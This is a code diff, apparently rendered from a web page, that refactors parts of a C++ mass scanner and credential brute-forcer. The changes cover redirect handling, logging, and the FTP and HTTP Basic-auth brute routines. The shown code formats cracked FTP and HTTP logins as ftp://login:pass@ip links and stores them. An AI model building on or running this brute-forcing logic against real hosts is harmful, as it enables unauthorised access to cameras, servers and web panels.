sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
|
||||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
|
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
|
||||||
|
|
||||||
// strcat(log, "<a href=\"ftp://");
|
|
||||||
// strcat(log, lps.login);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, lps.pass);
|
|
||||||
// strcat(log, "@");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
|
|
||||||
// strcat(log, lps.login);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, lps.pass);
|
|
||||||
// strcat(log, "@");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, "</span></a>");
|
|
||||||
// strcat(log, ps.headr);
|
|
||||||
|
|
||||||
// strcat(logEmit, "<a href=\"ftp://");
|
|
||||||
// strcat(logEmit, lps.login);
|
|
||||||
// strcat(logEmit, ":");
|
|
||||||
// strcat(logEmit, lps.pass);
|
|
||||||
// strcat(logEmit, "@");
|
|
||||||
// strcat(logEmit, ip);
|
|
||||||
// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
|
|
||||||
// strcat(logEmit, lps.login);
|
|
||||||
// strcat(logEmit, ":");
|
|
||||||
// strcat(logEmit, lps.pass);
|
|
||||||
// strcat(logEmit, "@");
|
|
||||||
// strcat(logEmit, ip);
|
|
||||||
// strcat(logEmit, "</span></a> (F:");
|
|
||||||
// strcat(logEmit, std::to_string(ps.directoryCount).c_str());
|
|
||||||
// strcat(logEmit, ")");
|
|
||||||
|
|
||||||
fputsf(log, flag, "FTP");
|
fputsf(log, flag, "FTP");
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
||||||
@ -1769,60 +1665,39 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd);
|
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd);
|
||||||
}
|
}
|
||||||
else if(flag == 15) //For HFS
|
else if(flag == 15) //For HFS
|
||||||
{
|
{
|
||||||
char temp[64] = {0};
|
|
||||||
char log[512] = {0};
|
char log[512] = {0};
|
||||||
isActive = 1;
|
|
||||||
++AnomC1;
|
++AnomC1;
|
||||||
|
|
||||||
lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]");
|
const lopaStr &lps = BA::_BALobby((string(ip) + "/~login").c_str(), p);
|
||||||
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
||||||
hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
|
hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
|
||||||
|
|
||||||
// strcpy(log, "[HFS]:<font color=\"#ff6600\">");
|
|
||||||
// strcat(log, hl);
|
|
||||||
// strcat(log, " :: </font><a href=\"http://");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, port);
|
|
||||||
// strcat(log, "/\"><span style=\"color: #a1a1a1;\">");
|
|
||||||
// strcat(log, ip);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, port);
|
|
||||||
// strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">");
|
|
||||||
// strcat(log, finalstr);
|
|
||||||
// strcat(log, " Pass: ");
|
|
||||||
// strcat(log, lps.login);
|
|
||||||
// strcat(log, ":");
|
|
||||||
// strcat(log, lps.pass);
|
|
||||||
// strcat(log, "</font>");
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
||||||
fputsf (log , flag, "HFS");
|
fputsf (log , flag, "HFS");
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||||
ZeroMemory(temp, sizeof(temp));
|
|
||||||
}
|
}
|
||||||
else if(flag == 1)
|
else if(flag == 1)
|
||||||
{
|
{
|
||||||
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd);
|
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd);
|
||||||
}
|
}
|
||||||
else if(flag == 101)
|
else if(flag == 101)
|
||||||
{
|
{
|
||||||
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd);
|
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd);
|
||||||
}
|
}
|
||||||
else if(flag == 10)
|
else if(flag == 10)
|
||||||
{
|
{
|
||||||
_specWFBrute(ip, p, hl, rBuff, flag, pps, "Web Form", "Web Form", cp, recd, finalstr);
|
_specWFBrute(ip, p, hl, buffcpy, flag, baPath, "Web Form", "Web Form", cp, recd, finalstr);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
putInFile(flag, ip, port, recd, finalstr, hl, cp);
|
putInFile(flag, ip, port, recd, finalstr, hl, cp);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
return flag;
|
return flag;
|
||||||
}
|
}
|
||||||
|
|
||||||
int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst, char *buff)
|
int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst)
|
||||||
{
|
{
|
||||||
if(ls->iterationCount++ == 5)
|
if(ls->iterationCount++ == 5)
|
||||||
{
|
{
|
||||||
@ -1893,12 +1768,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
||||||
if(cSz > -1)
|
|
||||||
{
|
|
||||||
strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535));
|
|
||||||
strcpy(ps->codepage, GetCodePage(buff));
|
|
||||||
|
|
||||||
ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage);
|
if(cSz > -1)
|
||||||
|
{
|
||||||
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
|
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -1908,10 +1783,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
|
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
||||||
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
||||||
{
|
{
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
@ -1919,6 +1795,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
|
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(ls->flag == 6)
|
if(ls->flag == 6)
|
||||||
{
|
{
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
@ -1927,8 +1804,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
};
|
};
|
||||||
|
|
||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1)
|
|
||||||
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -1936,17 +1814,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
// if(strlen(buff) < 1)
|
|
||||||
// {
|
|
||||||
// ps->flag = 3;
|
|
||||||
// ls->flag = 3;
|
|
||||||
// }
|
|
||||||
// else if(cstr.overflow == true)
|
|
||||||
// {
|
|
||||||
// ls->flag = 0;
|
|
||||||
// ps->flag = 0;
|
|
||||||
// };
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -1962,14 +1830,17 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
tempPort = 80;
|
tempPort = 80;
|
||||||
char *ptr1 = strstri(str, "http://");
|
char *ptr1 = strstri(str, "http://");
|
||||||
char *ptr2 = _findFirst(str + 7, ":/?");
|
char *ptr2 = _findFirst(str + 7, ":/?");
|
||||||
|
|
||||||
if(ptr2 != NULL)
|
if(ptr2 != NULL)
|
||||||
{
|
{
|
||||||
int sz = ptr2 - ptr1 - 7;
|
int sz = ptr2 - ptr1 - 7;
|
||||||
ZeroMemory(tempIP, MAX_ADDR_LEN);
|
ZeroMemory(tempIP, MAX_ADDR_LEN);
|
||||||
strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128);
|
strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128);
|
||||||
|
|
||||||
if(ptr2[0] == ':')
|
if(ptr2[0] == ':')
|
||||||
{
|
{
|
||||||
char *ptrPath = strstr(ptr2, "/");
|
char *ptrPath = strstr(ptr2, "/");
|
||||||
|
|
||||||
if(ptrPath != NULL)
|
if(ptrPath != NULL)
|
||||||
{
|
{
|
||||||
sz = ptrPath - ptr2 - 1;
|
sz = ptrPath - ptr2 - 1;
|
||||||
@ -2012,12 +1883,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
||||||
if(cSz > -1)
|
|
||||||
{
|
|
||||||
strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535));
|
|
||||||
strcpy(ps->codepage, GetCodePage(buff));
|
|
||||||
|
|
||||||
ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage);
|
if(cSz > -1)
|
||||||
|
{
|
||||||
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
|
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -2027,10 +1898,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
|
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
||||||
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
||||||
{
|
{
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
@ -2038,6 +1910,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
|
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(ls->flag == 6)
|
if(ls->flag == 6)
|
||||||
{
|
{
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
@ -2046,9 +1919,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
};
|
};
|
||||||
|
|
||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
|
|
||||||
if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1)
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -2056,17 +1929,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
|
|
||||||
// if(strlen(buff) < 1)
|
|
||||||
// {
|
|
||||||
// ps->flag = 3;
|
|
||||||
// ls->flag = 3;
|
|
||||||
// }
|
|
||||||
// else if(cstr.overflow == true)
|
|
||||||
// {
|
|
||||||
// ls->flag = 0;
|
|
||||||
// ps->flag = 0;
|
|
||||||
// };
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2087,12 +1949,12 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
sprintf(nip.get(), "%s%s", tempIP, tempPath);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
int cSz = Connector::nConnect(nip.get(), tempPort, &buffer);
|
||||||
if(cSz > -1)
|
|
||||||
{
|
|
||||||
strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535));
|
|
||||||
strcpy(ps->codepage, GetCodePage(buff));
|
|
||||||
|
|
||||||
ls->flag = ContentFilter(buff, port, ip, ps->codepage);
|
if(cSz > -1)
|
||||||
|
{
|
||||||
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
|
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
@ -2106,7 +1968,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
||||||
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
||||||
{
|
{
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
ps->port = port;
|
ps->port = port;
|
||||||
@ -2122,9 +1984,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
};
|
};
|
||||||
|
|
||||||
strcat(ps->headr, "->");
|
strcat(ps->headr, "->");
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
|
|
||||||
if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1)
|
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
@ -2132,17 +1994,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
// if(strlen(buff) < 1)
|
|
||||||
// {
|
|
||||||
// ps->flag = 3;
|
|
||||||
// ls->flag = 3;
|
|
||||||
// }
|
|
||||||
// else if(cstr.overflow == true)
|
|
||||||
// {
|
|
||||||
// ls->flag = 0;
|
|
||||||
// ps->flag = 0;
|
|
||||||
// };
|
|
||||||
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2158,13 +2009,14 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
sprintf(nip.get(), "%s%s", ip, str);
|
sprintf(nip.get(), "%s%s", ip, str);
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
int cSz = Connector::nConnect(nip.get(), port, &buffer);
|
int cSz = Connector::nConnect(nip.get(), port, &buffer);
|
||||||
if(cSz > -1)
|
|
||||||
{
|
|
||||||
strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535));
|
|
||||||
strcpy(ps->codepage, GetCodePage(buff));
|
|
||||||
|
|
||||||
ls->flag = ContentFilter(buff, port, ip, ps->codepage);
|
if(cSz > -1)
|
||||||
|
{
|
||||||
|
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
|
||||||
|
|
||||||
|
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
|
|
||||||
if(ls->flag == -1)
|
if(ls->flag == -1)
|
||||||
{
|
{
|
||||||
ps->flag = -1;
|
ps->flag = -1;
|
||||||
@ -2176,7 +2028,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
|
||||||
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
|| ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
|
||||||
{
|
{
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ps->flag = ls->flag;
|
ps->flag = ls->flag;
|
||||||
strcpy(ps->path, tempPath);
|
strcpy(ps->path, tempPath);
|
||||||
ps->port = port;
|
ps->port = port;
|
||||||
@ -2193,20 +2045,9 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
|||||||
};
|
};
|
||||||
|
|
||||||
strcat(ps->headr, " -> ");
|
strcat(ps->headr, " -> ");
|
||||||
strcat(ps->headr, GetTitle(buff));
|
strcat(ps->headr, GetTitle(buffer.c_str()));
|
||||||
ls->_header(ip, port, buff, ls, ps, redirStrLst, buff);
|
ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst);
|
||||||
ps->port = tempPort;
|
ps->port = tempPort;
|
||||||
|
|
||||||
// if(strlen(buff) < 1)
|
|
||||||
// {
|
|
||||||
// ps->flag = 3;
|
|
||||||
// ls->flag = 3;
|
|
||||||
// }
|
|
||||||
// else if(cstr.overflow == true)
|
|
||||||
// {
|
|
||||||
// ls->flag = 0;
|
|
||||||
// ps->flag = 0;
|
|
||||||
// };
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2284,7 +2125,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
|
|||||||
sz = ptrQuoteTemp - ptrQuote1 + 1;
|
sz = ptrQuoteTemp - ptrQuote1 + 1;
|
||||||
}
|
}
|
||||||
char *tempBuff = new char[sz + 1];
|
char *tempBuff = new char[sz + 1];
|
||||||
ZeroMemory(tempBuff, sizeof(tempBuff));
|
ZeroMemory(tempBuff, sizeof(*tempBuff));
|
||||||
strncpy(tempBuff, ptrQuote1 + 1, sz);
|
strncpy(tempBuff, ptrQuote1 + 1, sz);
|
||||||
memset(tempBuff + sz, 0, 1);
|
memset(tempBuff + sz, 0, 1);
|
||||||
char delim[2] = {0};
|
char delim[2] = {0};
|
||||||
@ -2365,7 +2206,7 @@ void _getJSCookie(char *dataBuff, const char *str, char *ip, int port)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff)
|
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst)
|
||||||
{
|
{
|
||||||
std::string redirectStr = "";
|
std::string redirectStr = "";
|
||||||
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
|
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
|
||||||
@ -2455,7 +2296,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
|||||||
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
||||||
{
|
{
|
||||||
redirStrLst->push_back(redirectStr);
|
redirStrLst->push_back(redirectStr);
|
||||||
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
|
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst);
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
delete []scriptContainer;
|
delete []scriptContainer;
|
||||||
@ -2506,7 +2347,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
|||||||
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
||||||
{
|
{
|
||||||
redirStrLst->push_back(redirectStr);
|
redirStrLst->push_back(redirectStr);
|
||||||
return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
|
return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst);
|
||||||
} return -1;
|
} return -1;
|
||||||
};
|
};
|
||||||
delete []scriptContainer;
|
delete []scriptContainer;
|
||||||
@ -2620,7 +2461,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
|||||||
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
||||||
{
|
{
|
||||||
redirStrLst->push_back(redirectStr);
|
redirStrLst->push_back(redirectStr);
|
||||||
return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff);
|
return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -2690,7 +2531,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
|
|||||||
if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end())
|
if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end())
|
||||||
{
|
{
|
||||||
redirStrLst->push_back(redirStr);
|
redirStrLst->push_back(redirStr);
|
||||||
return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff);
|
return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst);
|
||||||
} return -1;
|
} return -1;
|
||||||
}
|
}
|
||||||
return -2;
|
return -2;
|
||||||
|
@ -131,8 +131,7 @@ class Lexems
|
|||||||
const char str[],
|
const char str[],
|
||||||
Lexems *l,
|
Lexems *l,
|
||||||
PathStr *ps,
|
PathStr *ps,
|
||||||
std::vector<std::string> *lst,
|
std::vector<std::string> *lst);
|
||||||
char *rBuff);
|
|
||||||
|
|
||||||
int _filler(int p,
|
int _filler(int p,
|
||||||
const char *buffcpy,
|
const char *buffcpy,
|
||||||
@ -148,16 +147,16 @@ class Connector_old
|
|||||||
public:
|
public:
|
||||||
int _Updater();
|
int _Updater();
|
||||||
|
|
||||||
lopaStr _FTPLobby(char *ip,
|
// lopaStr _FTPLobby(char *ip,
|
||||||
int port,
|
// int port,
|
||||||
PathStr *ps);
|
// PathStr *ps);
|
||||||
|
|
||||||
lopaStr _BALobby(char *cookie,
|
// lopaStr _BALobby(char *cookie,
|
||||||
char *ip,
|
// char *ip,
|
||||||
int port,
|
// int port,
|
||||||
char *path,
|
// char *path,
|
||||||
char *method,
|
// char *method,
|
||||||
char *data);
|
// char *data);
|
||||||
|
|
||||||
lopaStr _WFLobby(char *cookie,
|
lopaStr _WFLobby(char *cookie,
|
||||||
char *ip,
|
char *ip,
|
||||||
@ -185,5 +184,5 @@ class Connector_old
|
|||||||
|
|
||||||
|
|
||||||
extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
|
extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
|
||||||
extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method);
|
//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method);
|
||||||
extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps);
|
//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps);
|
||||||
|
@ -22,9 +22,9 @@ void _getNewMsg()
|
|||||||
if(buffer.size() > 0)
|
if(buffer.size() > 0)
|
||||||
{
|
{
|
||||||
if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1
|
if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1
|
||||||
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 404 Not Found")) == -1
|
&& Utils::ci_find_substr(buffer, std::string("404 Not Found")) == -1
|
||||||
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 502 Bad Gateway")) == -1
|
&& Utils::ci_find_substr(buffer, std::string("502 Bad Gateway")) == -1
|
||||||
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 400 Bad Request")) == -1
|
&& Utils::ci_find_substr(buffer, std::string("400 Bad Request")) == -1
|
||||||
&& Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1
|
&& Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1
|
||||||
)
|
)
|
||||||
{
|
{
|
||||||
@ -41,7 +41,7 @@ void MSGCheckerThread::run()
|
|||||||
{
|
{
|
||||||
for(;;)
|
for(;;)
|
||||||
{
|
{
|
||||||
Sleep(60000);
|
Sleep(60000);
|
||||||
_getNewMsg();
|
if(strlen(trcPersKey) != 0) _getNewMsg();
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
@ -42,7 +42,8 @@ SOURCES +=\
|
|||||||
connector_old.cpp \
|
connector_old.cpp \
|
||||||
Utils.cpp \
|
Utils.cpp \
|
||||||
BruteUtils.cpp \
|
BruteUtils.cpp \
|
||||||
BasicAuth.cpp
|
BasicAuth.cpp \
|
||||||
|
FTPAuth.cpp
|
||||||
|
|
||||||
|
|
||||||
HEADERS += ActivityDrawerTh_HorNet.h \
|
HEADERS += ActivityDrawerTh_HorNet.h \
|
||||||
@ -71,7 +72,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
|
|||||||
WebformWorker.h \
|
WebformWorker.h \
|
||||||
Connector.h \
|
Connector.h \
|
||||||
BasicAuth.h \
|
BasicAuth.h \
|
||||||
